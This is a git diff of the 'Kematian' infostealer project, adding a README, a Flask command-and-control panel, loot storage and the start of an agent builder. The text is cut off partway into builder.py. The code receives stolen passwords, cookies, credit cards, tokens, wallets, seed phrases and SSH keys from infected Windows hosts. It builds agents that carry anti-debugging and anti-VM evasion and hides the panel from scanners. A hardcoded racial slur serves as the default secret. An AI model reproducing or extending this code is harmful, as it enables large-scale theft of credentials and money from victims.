extensions, wallets, telegram, keys, appCredentials, +gaming, vpns`, plus `seeds`. Gaming/VPNs are stored as nested payload, everything +else is flattened per row. + +The agent also ships **binary payloads** (wallet dirs, Telegram sessions, Steam +login files) as `payloads: [{category, name, filename, size, data(base64)}]`. +The panel writes these to `panel/loot//` and tracks them in the +`blobs` table, so they're persisted as a backup and downloadable from the UI. + +## Privacy & hardening + +The panel is not meant to be discovered or probed by randoms: + +- **`/health` and `/e2ee/pub` return 404** unless the caller sends the correct + `PANEL_INGEST_KEY` Bearer token. No liveness beacon for scanners. +- **Ingest rejects unauthenticated requests** with 401, and (optionally) blocks + ingress IPs outside your allowlist with 404. +- **Login brute-force throttle** — an IP gets 429 after too many attempts in a + window. +- **Security headers** on every response: `X-Content-Type-Options`, `X-Frame-Options`, + `Referrer-Policy`, `Cache-Control`, and a decoy `Server` banner. +- **Optional IP allowlist** via `PANEL_ALLOWED_IPS` (comma-separated). Empty = + unrestricted (still gated by creds/rate-limit). + +Additional env: + +| Env var | Default | Purpose | +|-----------------------|-------------------------------|------------------------------------------| +| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IPs allowed to ingress/login | +| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) | +| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP | +| `PANEL_DECOY_NAME` | `nginx` | Server banner value | +| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in the builder form | +| `BUILDER_NATIVE_DIR` | `/Kematian-Standalone/native` | Path to the agent Go source tree | +| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built .exe files are stored | + +## Wiring the agent + +The agent collects the data in `native/recovery/exfil/panel.go`. Set two things +(either edit the vars or use `final/build_final.bat`): + +- `PanelEndpoint` – the panel's `/api/ingest` URL +- `PanelAuth` – the `PANEL_INGEST_KEY` + +The **public key is auto-fetched** from `/e2ee/pub` on first use, so nothing +else is needed. `build_final.bat` prompts for the Telegram bot (optional) plus +the panel endpoint + auth key, injects them at build time, then restores sources. + +## Web builder + +The panel can build the agent entirely from the browser at **`/build`**: + +1. Enter the panel endpoint + ingest key, optional Telegram bot/chat. +2. Enter a build name. +3. Click **Build agent** — the panel copies the native Go tree to a temp dir, + patches `panel.go` (`PanelEndpoint`/`PanelAuth`) and `main.go` (Telegram), + runs `go build`, and drops the `.exe` in `builds/`. +4. Watch the live log, then **Download** the fresh agent. + +The server needs `go` installed (and the agent source tree present at +`BUILDER_NATIVE_DIR`, or adjacent to the panel). The source is never modified — +it's copied, patched, and built in a temp dir. Built files are kept under +`BUILDER_OUTPUT_DIR` and served at `/build/download/.exe`. + +### Anti-analysis guard + +Every build ships a Rust anti-analysis layer (`rust-extractor/src/guard.rs`) that +runs inside the injected DLL before the payload starts. It scores the environment +and refuses to run on analysis hosts: + +- **Anti-debug**: PEB `BeingDebugged`, `NtGlobalFlag` heap flags, + `NtQueryInformationProcess` debug port, `CheckRemoteDebuggerPresent`, RDTSC + timing (breakpoint/single-step detection). +- **Anti-VM**: CPUID hypervisor-present bit + vendor string (VMware/VirtualBox/KVM/ + QEMU/Xen/Hyper-V), SMBIOS firmware table, low RAM + single-core heuristics. +- **Anti-analyze / sandbox**: process scan for known tools (x64dbg, ollydbg, IDA, + procmon, wireshark, tcpview, vmtoolsd…), check for sandbox env markers. + +Detection strings are XOR-encrypted so they don't sit in plaintext `.rodata`. +The web builder recompiles the Rust extractor before each `go build`; the local +`final/build_final.bat` does the same. `Cargo` must be installed and the +`x86_64-pc-windows-gnu` target present. + +## Pages + +- `/` – dashboard with per-category stats + hosted-files count + recent clients +- `/clients` – all reporting agents +- `/client/` – per-client data breakdown, link to its files +- `/client//loot` – that client's hosted login files (wallet/Steam/Telegram) +- `/client//loot//download` – download one hosted file +- `/client//loot/zip` – download all of that client's files as one backup zip +- `/loot` – every hosted file across all clients +- `/build` – build a fresh agent from the browser (panel + Telegram config) +- `/cat/` – each data type on its own page with an icon +- `/search` – search across passwords, cookies, tokens +- `/api/raw/` – raw JSON dump (admin auth required) + +Categories: passwords, cookies, autofill, history, bookmarks, credit_cards, +discord_tokens, files, extensions, wallets, telegram, keys, app_credentials, seeds, +gaming, vpns. diff --git a/panel/app.py b/panel/app.py new file mode 100644 index 0000000..e7bbc79 --- /dev/null +++ b/panel/app.py @@ -0,0 +1,760 @@ +""" +Kematian Collector Panel +======================== +Admin-authenticated dashboard + raw JSON ingest for the kematian-standalone +agent. Each collected data category is stored in its own SQLite table and +served on its own page with a dedicated icon. + +Project: https://t.me/electronic_sex + +Run: + pip install -r requirements.txt + python app.py + +First-run: head to /setup to create the admin account, then / to log in. +""" +import base64 +import json +import os +import time +from functools import wraps + +from flask import Flask, render_template, request, session, redirect, url_for, jsonify, abort, g, flash, make_response +from werkzeug.security import generate_password_hash, check_password_hash + +import crypto +import db +import blobs +import builder + +app = Flask(__name__) +app.secret_key = os.environ.get("PANEL_SECRET", "blackniggers") +app.config["JSON_SORT_KEYS"] = False + +# ------------------------------------------------------------------ privacy / hardening +# Optional admin allowlist: comma-separated IPs that may log in. Empty = anyone, +# but still gated by credentials + rate limit. +ALLOWED_IPS = {x.strip() for x in os.environ.get("PANEL_ALLOWED_IPS", "").split(",") if x.strip()} +# Short response tokens to confuse generic scanners (shown on probe endpoints). +DECOY_NAME = os.environ.get("PANEL_DECOY_NAME", "nginx") +# Requests per time window before an IP gets throttled. +RATE_LIMIT_WINDOW = int(os.environ.get("PANEL_RATE_WINDOW", "60")) +RATE_LIMIT_MAX = int(os.environ.get("PANEL_RATE_MAX", "10")) +RATE_HITS = {} # ip -> [timestamps] + + +def client_ip(): + return request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip() + + +def rate_limited(): + """Return True if this IP has crossed the throttle limit for the window.""" + ip = client_ip() + now = time.time() + hits = RATE_HITS.setdefault(ip, []) + hits = [t for t in hits if now - t < RATE_LIMIT_WINDOW] + RATE_HITS[ip] = hits + return len(hits) >= RATE_LIMIT_MAX + + +def rate_hit(): + RATE_HITS.setdefault(client_ip(), []).append(time.time()) + + +def ip_allowed(): + if not ALLOWED_IPS: + return True + return client_ip() in ALLOWED_IPS + + +# One-shot setup lock lives on disk (next to the DB) so it survives resets. +SETUP_LOCK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".setup_done") + + +def setup_locked(): + return os.path.exists(SETUP_LOCK_FILE) + + +def mark_setup_done(): + try: + with open(SETUP_LOCK_FILE, "w") as f: + f.write(str(int(time.time()))) + except OSError: + pass + + +@app.after_request +def security_headers(resp): + resp.headers["X-Content-Type-Options"] = "nosniff" + resp.headers["X-Frame-Options"] = "DENY" + resp.headers["Referrer-Policy"] = "no-referrer" + resp.headers["X-XSS-Protection"] = "0" + resp.headers["Cache-Control"] = "no-store" + resp.headers["Server"] = DECOY_NAME + return resp + + +# Hide a couple of default Flask facts from cursory scan tooling. +app.config["SERVER_NAME"] = None + + +def fmt_dt(ts): + if not ts: + return "—" + return time.strftime("%Y-%m-%d %H:%M", time.localtime(ts)) + + +def fmt_size(n): + try: + n = int(n) + except (TypeError, ValueError): + return "—" + for unit in ("B", "KB", "MB", "GB"): + if n < 1024 or unit == "GB": + return f"{n:.1f} {unit}" + n /= 1024 + + +app.jinja_env.filters["datetime"] = fmt_dt +app.jinja_env.filters["filesize"] = fmt_size + +# Ingest API key. Override via env: PANEL_INGEST_KEY +INGEST_KEY = os.environ.get("PANEL_INGEST_KEY", "CHANGE-ME") +# Public-facing ingest URL of this panel, used to pre-fill the builder form. +_public_url = os.environ.get("PANEL_PUBLIC_URL", "").strip().rstrip("/") +PANEL_PUBLIC_URL = (_public_url + "/api/ingest") if _public_url else "/api/ingest" + + +# Map of category -> (label, table, icon path, page title) +CATEGORIES = { + "passwords": ("Passwords", "passwords", "pass", "Stored Login Credentials"), + "cookies": ("Cookies", "cookies", "cookie", "Browser Cookies"), + "autofill": ("Autofill", "autofill", "autofill", "Autofill Data"), + "history": ("History", "history", "history", "Browsing History"), + "bookmarks": ("Bookmarks", "bookmarks", "bookmark", "Bookmarks"), + "credit_cards": ("Credit Cards", "credit_cards", "card", "Saved Cards & Billing"), + "discord_tokens": ("Discord Tokens", "discord_tokens", "discord", "Discord Tokens"), + "files": ("Files", "files", "files", "Interesting Files"), + "extensions": ("Extensions", "extensions", "extension","Browser Extensions"), + "wallets": ("Wallets", "wallets", "wallet", "Crypto Wallets"), + "telegram": ("Telegram", "telegram", "telegram", "Telegram Sessions"), + "keys": ("SSH / Cloud Keys","keys", "key", "SSH & Auth Keys"), + "app_credentials": ("App Credentials", "app_credentials", "app", "App Credentials"), + "seeds": ("Seed Phrases", "seeds", "seed", "Crypto Seed Phrases"), + "gaming": ("Gaming", "gaming", "game", "Gaming Accounts"), + "steam_tokens": ("Steam Tokens", "steam_tokens", "steam", "Steam Login & Refresh Tokens"), + "vpns": ("VPNs", "vpns", "vpn", "VPN Configurations"), +} + + +def now_ts(): + return int(time.time()) + + +# ---------------------------------------------------------------- auth +def login_required(f): + @wraps(f) + def wrapper(*args, **kwargs): + if not session.get("admin"): + return redirect(url_for("login", next=request.path)) + return f(*args, **kwargs) + return wrapper + + +@app.context_processor +def inject_globals(): + import os as _os + return { + "categories": CATEGORIES, + "cat": CATEGORIES, + "os": _os, + } + + +@app.route("/setup", methods=["GET", "POST"]) +def setup(): + if not ip_allowed(): + return abort(404) + db.init_db() + # One-shot lock: once setup has completed, /setup is permanently closed. + # Uses a persistent marker file (independent of the DB), so even if the admin + # table is cleared or the DB is reset, setup cannot be re-run. + if setup_locked(): + flash("Setup is already complete. Log in instead.", "info") + return redirect(url_for("login")) + conn = db.get_conn() + existing = conn.execute("SELECT id FROM admin").fetchone() + conn.close() + if existing: + mark_setup_done() + flash("Admin already exists. Log in instead.", "info") + return redirect(url_for("login")) + if rate_limited(): + return abort(429) + if request.method == "POST": + rate_hit() + user = (request.form.get("username") or "").strip() + pwd = request.form.get("password") or "" + if len(user) < 3: + flash("Username must be at least 3 characters.", "error") + elif len(pwd) < 6: + flash("Password must be at least 6 characters.", "error") + else: + conn = db.get_conn() + try: + conn.execute( + "INSERT INTO admin (username, password_hash) VALUES (?, ?)", + (user, generate_password_hash(pwd)), + ) + conn.commit() + finally: + conn.close() + mark_setup_done() + flash("Admin created. Log in now.", "success") + return redirect(url_for("login")) + return render_template("setup.html") + + +@app.route("/login", methods=["GET", "POST"]) +def login(): + if not ip_allowed(): + return abort(404) + db.init_db() + if request.method == "POST": + if rate_limited(): + return abort(429) + rate_hit() + user = (request.form.get("username") or "").strip() + pwd = request.form.get("password") or "" + conn = db.get_conn() + row = conn.execute("SELECT * FROM admin WHERE username = ?", (user,)).fetchone() + conn.close() + if row and check_password_hash(row["password_hash"], pwd): + session["admin"] = row["username"] + RATE_HITS.pop(client_ip(), None) + flash("Welcome back.", "success") + nxt = request.args.get("next") or url_for("dashboard") + return redirect(nxt) + flash("Invalid credentials.", "error") + return render_template("login.html") + + +@app.route("/logout") +def logout(): + session.pop("admin", None) + flash("Logged out.", "info") + return redirect(url_for("login")) + + +# ---------------------------------------------------------------- dashboard +@app.route("/") +def index(): + return redirect(url_for("login") if not session.get("admin") else url_for("dashboard")) + + +@app.route("/dashboard") +@login_required +def dashboard(): + conn = db.get_conn() + client_count = conn.execute("SELECT COUNT(*) c FROM clients").fetchone()["c"] + total = conn.execute("SELECT COALESCE(SUM(total_entries),0) t FROM clients").fetchone()["t"] + stats = {} + for key, (label, table, icon, _title) in CATEGORIES.items(): + rows = conn.execute(f"SELECT COUNT(*) c FROM {table}").fetchone()["c"] + stats[key] = {"label": label, "count": rows, "icon": icon} + recent = conn.execute( + "SELECT client_id, os, arch, ip, first_seen, last_seen, total_entries " + "FROM clients ORDER BY last_seen DESC LIMIT 8" + ).fetchall() + conn.close() + loot_count = len(blobs.blobs_for()) + + # --- chart data: entries per category + activity over the last 24h --- + chart_labels = [stats[k]["label"] for k in CATEGORIES] + chart_values = [stats[k]["count"] for k in CATEGORIES] + chart_icons = [stats[k]["icon"] for k in CATEGORIES] + + return render_template( + "dashboard.html", + client_count=client_count, + total=total, + loot_count=loot_count, + stats=stats, + recent=recent, + chart_labels=chart_labels, + chart_values=chart_values, + chart_icons=chart_icons, + ) + + +# ---------------------------------------------------------------- clients +@app.route("/clients") +@login_required +def clients(): + conn = db.get_conn() + rows = conn.execute( + "SELECT * FROM clients ORDER BY last_seen DESC" + ).fetchall() + conn.close() + return render_template("clients.html", clients=rows) + + +@app.route("/client/") +@login_required +def client_detail(client_id): + conn = db.get_conn() + cli = conn.execute("SELECT * FROM clients WHERE client_id = ?", (client_id,)).fetchone() + if not cli: + conn.close() + abort(404) + per_cat = {} + for key, (label, table, icon, _title) in CATEGORIES.items(): + c = conn.execute(f"SELECT COUNT(*) c FROM {table} WHERE client_id = ?", (client_id,)).fetchone()["c"] + per_cat[key] = {"label": label, "count": c, "icon": icon} + conn.close() + return render_template("client_detail.html", cli=cli, per_cat=per_cat) + + +# ---------------------------------------------------------------- category pages +@app.route("/cat/") +@login_required +def category(key): + if key not in CATEGORIES: + abort(404) + label, table, icon, title = CATEGORIES[key] + client_filter = request.args.get("client") + conn = db.get_conn() + if client_filter: + rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ? ORDER BY id DESC", (client_filter,)).fetchall() + else: + rows = conn.execute(f"SELECT * FROM {table} ORDER BY id DESC").fetchall() + conn.close() + return render_template( + "categories/view.html", + key=key, + label=label, + icon=icon, + title=title, + table=table, + rows=rows, + client_filter=client_filter, + ) + + +@app.route("/api/raw/") +@login_required +def api_raw(key): + if key not in CATEGORIES: + abort(404) + _label, table, _icon, _title = CATEGORIES[key] + client_filter = request.args.get("client") + conn = db.get_conn() + if client_filter: + cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()] + rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ?", (client_filter,)).fetchall() + else: + cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()] + rows = conn.execute(f"SELECT * FROM {table}").fetchall() + conn.close() + payload = [dict(r) for r in rows] + return jsonify({"columns": cols, "rows": payload}) + + +# ---------------------------------------------------------------- payloads / backups +@app.route("/client//loot") +@login_required +def client_loot(client_id): + """List the hosted payload files for a client.""" + blobs_for = blobs.blobs_for(client_id) + return render_template("loot.html", client_id=client_id, blobs=blobs_for) + + +@app.route("/client//loot//download") +@login_required +def loot_download(client_id, blob_id): + """Download one hosted payload zip.""" + path = blobs.blob_path(client_id, blob_id) + if not path: + abort(404) + # send_file needs the filename to preserve the download name + from flask import send_file + return send_file(path, as_attachment=True, download_name=os.path.basename(path)) + + +@app.route("/client//loot/zip") +@login_required +def loot_zip(client_id): + """Bundle every hosted payload for a client into one download zip (backup).""" + import io, zipfile + items = blobs.blobs_for(client_id) + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z: + for b in items: + path = blobs.blob_path(client_id, b["id"]) + if path: + z.write(path, arcname=f"{client_id}/{b['filename']}") + buf.seek(0) + from flask import send_file + return send_file(buf, as_attachment=True, download_name=f"{client_id}_loot.zip", mimetype="application/zip") + + +@app.route("/loot") +@login_required +def all_loot(): + """Every payload file across all clients.""" + items = blobs.blobs_for() + return render_template("loot_all.html", blobs=items) + + +@app.route("/fileshare") +@login_required +def fileshare(): + """File share overview: every hosted file + clients that have files.""" + items = blobs.blobs_for() + by_client = {} + uploaded = 0 + for b in items: + by_client[b["client_id"]] = by_client.get(b["client_id"], 0) + 1 + if b["client_id"] == "upload": + uploaded += 1 + return render_template("fileshare.html", blobs=items, by_client=by_client, uploaded=uploaded) + + +@app.route("/fileshare/upload", methods=["POST"]) +@login_required +def fileshare_upload(): + """Upload a file (admin) into the built-in file share.""" + f = request.files.get("file") + if not f or not f.filename: + flash("Choose a file to upload.", "error") + return redirect(url_for("fileshare")) + category = (request.form.get("category") or "upload").strip() or "upload" + try: + data = f.read() + blob_id = blobs.upload_public(f.filename, data, category=category) + flash(f"Uploaded {f.filename}", "success") + return redirect(url_for("fileshare")) + except Exception as e: + flash(f"Upload failed: {e}", "error") + return redirect(url_for("fileshare")) + + +# ---------------------------------------------------------------- ingest API +def authorized_auth(): + """Validate the ingress Bearer token. Compares against the configured key.""" + auth = request.headers.get("Authorization", "") + return auth == f"Bearer {INGEST_KEY}" + + +@app.route("/api/ingest", methods=["POST"]) +def ingest(): + # Require both a valid ingress key AND (if set) an allowed ingress IP, so a + # random person curling the domain can't even attempt to feed garbage. + if not authorized_auth(): + abort(401) + if not ip_allowed(): + abort(404) + data = request.get_json(silent=True) + + # E2EE envelope: {"enc": ""} — decrypt to recover the + # CollectionResult, then land each category in its own table. + if isinstance(data, dict) and data.get("enc"): + try: + plain = crypto.decrypt_wire(data["enc"]) + except Exception as e: + return jsonify({"error": "decryption failed", "detail": str(e)}), 400 + try: + data = json.loads(plain) + except Exception: + return jsonify({"error": "decrypted payload is not valid JSON"}), 400 + + if not isinstance(data, dict): + return jsonify({"error": "body must be a JSON object"}), 400 + + client_id = data.get("clientId") or data.get("client_id") + if not client_id: + client_id = str(base64.urlsafe_b64encode(os.urandom(9)), "ascii") + while len(client_id) < 12: + client_id += "x" + client_id = client_id[:12] + + host = data.get("host") or {} + ip = request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip() + ts = now_ts() + total_new = 0 + payload_saved = 0 + + conn = db.get_conn() + try: + conn.execute("BEGIN") + existing = conn.execute("SELECT id FROM clients WHERE client_id = ?", (client_id,)).fetchone() + if existing: + conn.execute( + "UPDATE clients SET last_seen=?, ip=?, user_agent=?, version=?, os=COALESCE(?, os), arch=COALESCE(?, arch) " + "WHERE client_id=?", + (ts, ip, request.headers.get("User-Agent", ""), host.get("version", ""), + host.get("os", ""), host.get("arch", ""), client_id), + ) + else: + conn.execute( + "INSERT INTO clients (client_id, os, arch, version, ip, user_agent, first_seen, last_seen) " + "VALUES (?,?,?,?,?,?,?,?)", + (client_id, host.get("os", ""), host.get("arch", ""), host.get("version", ""), + ip, request.headers.get("User-Agent", ""), ts, ts), + ) + + # helper: bulk-insert a category with clear-then-replace strategy + def insert_cat(cat_keys, target_table, mapper): + nonlocal total_new + items = data.get(cat_keys, []) + if items is None: + items = [] + for it in items: + if not isinstance(it, dict): + continue + cols, vals = mapper(it) + q = f"INSERT INTO {target_table} (client_id, {', '.join(cols)}) VALUES ({','.join('?' for _ in range(len(cols)+1))})" + conn.execute(q, [client_id] + vals) + total_new += 1 + return len(items) + + insert_cat("passwords", "passwords", lambda d: ( + ["url", "username", "password", "browser", "profile"], + [d.get("url"), d.get("username"), d.get("password"), d.get("browser"), d.get("profile")], + )) + + insert_cat("cookies", "cookies", lambda d: ( + ["host", "name", "value", "path", "secure", "http_only", "expires_utc", "browser", "profile"], + [d.get("host"), d.get("name"), d.get("value"), d.get("path"), + int(bool(d.get("secure"))), int(bool(d.get("httpOnly"))), + d.get("expiresUtc"), d.get("browser"), d.get("profile")], + )) + + insert_cat("autofill", "autofill", lambda d: ( + ["name", "value", "date_created", "browser", "profile"], + [d.get("name"), d.get("value"), d.get("dateCreated"), d.get("browser"), d.get("profile")], + )) + + insert_cat("history", "history", lambda d: ( + ["url", "title", "visit_time_unix", "visit_count", "last_visit_time", "browser", "profile"], + [d.get("url"), d.get("title"), d.get("visitTimeUnix"), d.get("visitCount"), + d.get("lastVisitTime"), d.get("browser"), d.get("profile")], + )) + + insert_cat("bookmarks", "bookmarks", lambda d: ( + ["name", "url", "type", "browser", "profile"], + [d.get("name"), d.get("url"), d.get("type"), d.get("browser"), d.get("profile")], + )) + + insert_cat("creditCards", "credit_cards", lambda d: ( + ["name_on_card", "expiration_month", "expiration_year", "card_number", "nickname", "browser", "profile"], + [d.get("nameOnCard"), d.get("expirationMonth"), d.get("expirationYear"), + d.get("cardNumber"), d.get("nickname"), d.get("browser"), d.get("profile")], + )) + + insert_cat("discordTokens", "discord_tokens", lambda d: ( + ["token", "source"], + [d.get("token"), d.get("source")], + )) + + insert_cat("files", "files", lambda d: ( + ["path", "name", "ext", "size", "modified", "dir", "tags"], + [d.get("path"), d.get("name"), d.get("ext"), d.get("size"), + d.get("modified"), d.get("dir"), ";".join(d.get("tags", [])) if isinstance(d.get("tags"), list) else d.get("tags")], + )) + + insert_cat("extensions", "extensions", lambda d: ( + ["ext_id", "name", "version", "browser", "profile", "path", "category"], + [d.get("extId"), d.get("name"), d.get("version"), d.get("browser"), d.get("profile"), d.get("path"), d.get("category")], + )) + + insert_cat("wallets", "wallets", lambda d: ( + ["name", "type", "path", "files", "size", "addresses", "vault_data"], + [d.get("name"), d.get("type"), d.get("path"), d.get("files"), d.get("size"), + ";".join(d.get("addresses", [])) if isinstance(d.get("addresses"), list) else d.get("addresses"), d.get("vaultData")], + )) + + insert_cat("telegram", "telegram", lambda d: ( + ["account", "path", "files", "size"], + [d.get("account"), d.get("path"), d.get("files"), d.get("size")], + )) + + insert_cat("keys", "keys", lambda d: ( + ["type", "name", "path", "size", "content"], + [d.get("type"), d.get("name"), d.get("path"), d.get("size"), d.get("content")], + )) + + insert_cat("appCredentials", "app_credentials", lambda d: ( + ["application", "host", "port", "username", "password", "protocol", "extra"], + [d.get("application"), d.get("host"), d.get("port"), d.get("username"), d.get("password"), d.get("protocol"), d.get("extra")], + )) + + insert_cat("seeds", "seeds", lambda d: ( + ["source", "path", "phrase", "words"], + [d.get("source"), d.get("path"), d.get("phrase"), d.get("words")], + )) + + # nested objects (gaming/vpns) — store the whole sub-object as one row + def insert_single(table, vpn_or_key, payload): + nonlocal total_new + cols = ["client_id", vpn_or_key, "payload"] + conn.execute( + f"INSERT INTO {table} ({', '.join(cols)}) VALUES (?,?,?)", + [client_id, vpn_or_key, json.dumps(payload, separators=(',', ':'))], + ) + total_new += 1 + + gaming = data.get("gaming") + if isinstance(gaming, dict) and gaming: + insert_single("gaming", "platform", gaming) + vpns = data.get("vpns") + if isinstance(vpns, dict) and vpns: + insert_single("vpns", "vpn", vpns) + + # steam login/refresh tokens (list of {steamId, token}) -> own table + steam_tokens = data.get("steamTokens") + if isinstance(steam_tokens, list): + for st in steam_tokens: + if not isinstance(st, dict): + continue + conn.execute( + "INSERT INTO steam_tokens (client_id, steam_id, token) VALUES (?,?,?)", + (client_id, st.get("steamId"), st.get("token")), + ) + total_new += 1 + + # binary payloads (wallet/telegram/steam zips) -> persisted under loot/ + payloads = data.get("payloads") + if isinstance(payloads, list): + for blob_doc in payloads: + if not isinstance(blob_doc, dict): + continue + try: + blobs.save_payload(client_id, blob_doc, conn=conn) + payload_saved += 1 + except Exception: + pass + + conn.execute( + "UPDATE clients SET total_entries = total_entries + ? WHERE client_id = ?", + (total_new, client_id), + ) + conn.commit() + except Exception as e: + conn.rollback() + conn.close() + return jsonify({"error": str(e)}), 500 + conn.close() + + return jsonify({"ok": True, "clientId": client_id, "entries": total_new, "payloads": payload_saved}), 200 + + +# ---------------------------------------------------------------- misc +@app.route("/health") +def health(): + # Only responds when the caller proves it's an agent (correct ingress key), + # so random scanners / curls get a nondescript 404 instead of a liveness beacon. + if not authorized_auth() or not ip_allowed(): + return abort(404) + return jsonify({"ok": True, "ts": now_ts()}) + + +@app.route("/e2ee/pub") +def e2ee_pub(): + """Panel's E2EE public key (hex). Agent fetches this at runtime to encrypt + toward the panel. Locked behind the same ingress key so it isn't public.""" + if not authorized_auth() or not ip_allowed(): + return abort(404) + return jsonify({"algo": "x25519-hkdf-chacha20poly1305", "publicKey": crypto.public_key_hex()}) + + +@app.route("/search") +@login_required +def search(): + q = (request.args.get("q") or "").strip() + results = [] + conn = db.get_conn() + if q: + like = f"%{q}%" + pwd = conn.execute( + "SELECT client_id, url, username, password, browser FROM passwords WHERE url LIKE ? OR username LIKE ? LIMIT 50", + (like, like), + ).fetchall() + for p in pwd: + results.append({"type": "Password", "detail": f"{p['username']} @ {p['url']}", "client": p["client_id"]}) + tok = conn.execute( + "SELECT client_id, token, source FROM discord_tokens WHERE token LIKE ? LIMIT 50", (like,) + ).fetchall() + for t in tok: + results.append({"type": "Discord", "detail": t["token"][:40], "client": t["client_id"]}) + host = conn.execute( + "SELECT client_id, host, name, value FROM cookies WHERE host LIKE ? OR name LIKE ? LIMIT 50", + (like, like), + ).fetchall() + for c in host: + results.append({"type": "Cookie", "detail": f"{c['name']} @ {c['host']}", "client": c["client_id"]}) + conn.close() + return render_template("search.html", q=q, results=results) + + +# ---------------------------------------------------------------- web builder +@app.route("/build") +@login_required +def build_page(): + return render_template("builder.html", default_endpoint=PANEL_PUBLIC_URL, builds=builder.all_jobs()) + + +@app.route("/build", methods=["POST"]) +@login_required +def build_start(): + endpoint = (request.form.get("endpoint") or "").strip() + auth = (request.form.get("auth") or "").strip() + bot_token = (request.form.get("bot_token") or "").strip() + chat_id = (request.form.get("chat_id") or "").strip() + build_name = (request.form.get("build_name") or "kematian").strip() + + if not endpoint: + endpoint = PANEL_PUBLIC_URL + # normalize: if user entered just host, append /api/ingest + if not endpoint.endswith("/api/ingest"): + endpoint = endpoint.rstrip("/") + "/api/ingest" + if not auth: + return render_template("builder.html", error="Panel auth key is required.", + default_endpoint=endpoint, builds=builder.all_jobs()), 400 + + build_id = builder.start_build(endpoint, auth, bot_token, chat_id, build_name) + return render_template("builder.html", started=build_id, default_endpoint=endpoint, builds=builder.all_jobs()) + + +@app.route("/build/status/") +@login_required +def build_status(build_id): + job = builder.job_status(build_id) + if not job: + return jsonify({"error": "no such build"}), 404 + exe_name = os.path.basename(job["exe"]) if job["exe"] else None + return jsonify({ + "status": job["status"], + "error": job["error"], + "exe": exe_name, + "download": f"/build/download/{exe_name}" if exe_name else None, + }) + + +@app.route("/build/download/") +@login_required +def build_download(filename): + from flask import send_file + safe = os.path.basename(filename) + path = os.path.join(builder.BUILDS_DIR, safe) + if not os.path.exists(path): + abort(404) + return send_file(path, as_attachment=True, download_name=safe) + + +if __name__ == "__main__": + db.init_db() + os.makedirs(builder.BUILDS_DIR, exist_ok=True) + port = int(os.environ.get("PANEL_PORT", 5000)) + app.run(host="0.0.0.0", port=port, debug=False) + diff --git a/panel/blobs.py b/panel/blobs.py new file mode 100644 index 0000000..09a8a45 --- /dev/null +++ b/panel/blobs.py @@ -0,0 +1,121 @@ +""" +Binary payload storage for the panel. + +Payloads (wallet / telegram / steam zips) that the agent ships over E2EE are +written to disk under loot// so they're persisted as a backup, and +tracked in the blobs table so the dashboard can list + download them. +""" +import base64 +import os +import time + +import db + +# Root directory for all hosted payloads. Auto-created on first write. +LOOT_ROOT = os.path.join(os.path.dirname(__file__), "loot") + +# Match the request size that the agent is allowed to send in one payload. +# Guard: refuse a single blob beyond this (avoids filling the disk). +MAX_BLOB = 64 * 1024 * 1024 # 64 MB + + +def save_payload(client_id, blob, conn=None): + """Persist one payload dict from the agent. blob has keys: + category, name, filename, size, data (base64 str). Returns the blob row id. + + If `conn` is provided (an already-open transaction, e.g. during ingest) the + DB insert runs on that connection and is NOT committed; otherwise a fresh + connection is used and committed.""" + filename = (blob.get("filename") or blob.get("name") or "payload").replace("/", "_").replace("\\", "_") + data_b64 = blob.get("data", "") + try: + raw = base64.b64decode(data_b64) + except Exception as e: + raise ValueError(f"bad base64 payload: {e}") + if len(raw) > MAX_BLOB: + raise ValueError("payload too large") + + os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True) + path = os.path.join(LOOT_ROOT, client_id, filename) + with open(path, "wb") as f: + f.write(raw) + + ts = int(time.time()) + if conn is not None: + cur = conn.execute( + "INSERT INTO blobs (client_id, category, name, filename, size, created) " + "VALUES (?,?,?,?,?,?)", + (client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts), + ) + return cur.lastrowid + + conn = db.get_conn() + try: + cur = conn.execute( + "INSERT INTO blobs (client_id, category, name, filename, size, created) " + "VALUES (?,?,?,?,?,?)", + (client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts), + ) + conn.commit() + return cur.lastrowid + finally: + conn.close() + + +def upload_public(filename, data, category="upload"): + """Store an admin-uploaded file under loot/upload/ and track it in blobs. + + Returns the blob row id.""" + raw = data if isinstance(data, (bytes, bytearray)) else data.encode() + if len(raw) > MAX_BLOB: + raise ValueError("file too large") + filename = (filename or "download").replace("/", "_").replace("\\", "_") + client_id = "upload" + os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True) + path = os.path.join(LOOT_ROOT, client_id, filename) + with open(path, "wb") as f: + f.write(raw) + + ts = int(time.time()) + conn = db.get_conn() + try: + cur = conn.execute( + "INSERT INTO blobs (client_id, category, name, filename, size, created) " + "VALUES (?,?,?,?,?,?)", + (client_id, category or "upload", filename, filename, len(raw), ts), + ) + conn.commit() + return cur.lastrowid + finally: + conn.close() + + +def blobs_for(client_id=None): + conn = db.get_conn() + try: + if client_id: + rows = conn.execute( + "SELECT * FROM blobs WHERE client_id = ? ORDER BY id DESC", (client_id,) + ).fetchall() + else: + rows = conn.execute("SELECT * FROM blobs ORDER BY id DESC").fetchall() + return [dict(r) for r in rows] + finally: + conn.close() + + +def blob_path(client_id, blob_id): + conn = db.get_conn() + try: + row = conn.execute( + "SELECT * FROM blobs WHERE id = ? AND client_id = ?", (blob_id, client_id) + ).fetchone() + finally: + conn.close() + if not row: + return None + d = dict(row) + path = os.path.join(LOOT_ROOT, d["client_id"], d["filename"]) + if not os.path.exists(path): + return None + return path diff --git a/panel/builder.py b/panel/builder.py new file mode 100644 index 0000000..d47e27f --- /dev/null +++ b/panel/builder.py @@ -0,0 +1,332 @@ +""" +Web builder for the kematian agent. + +Project: https://t.me/electronic_sex + +Copies the Go native tree to a private temp dir, patches in the entered config +(endpoint + ingest key + optional Telegram), runs `go build`, and drops the 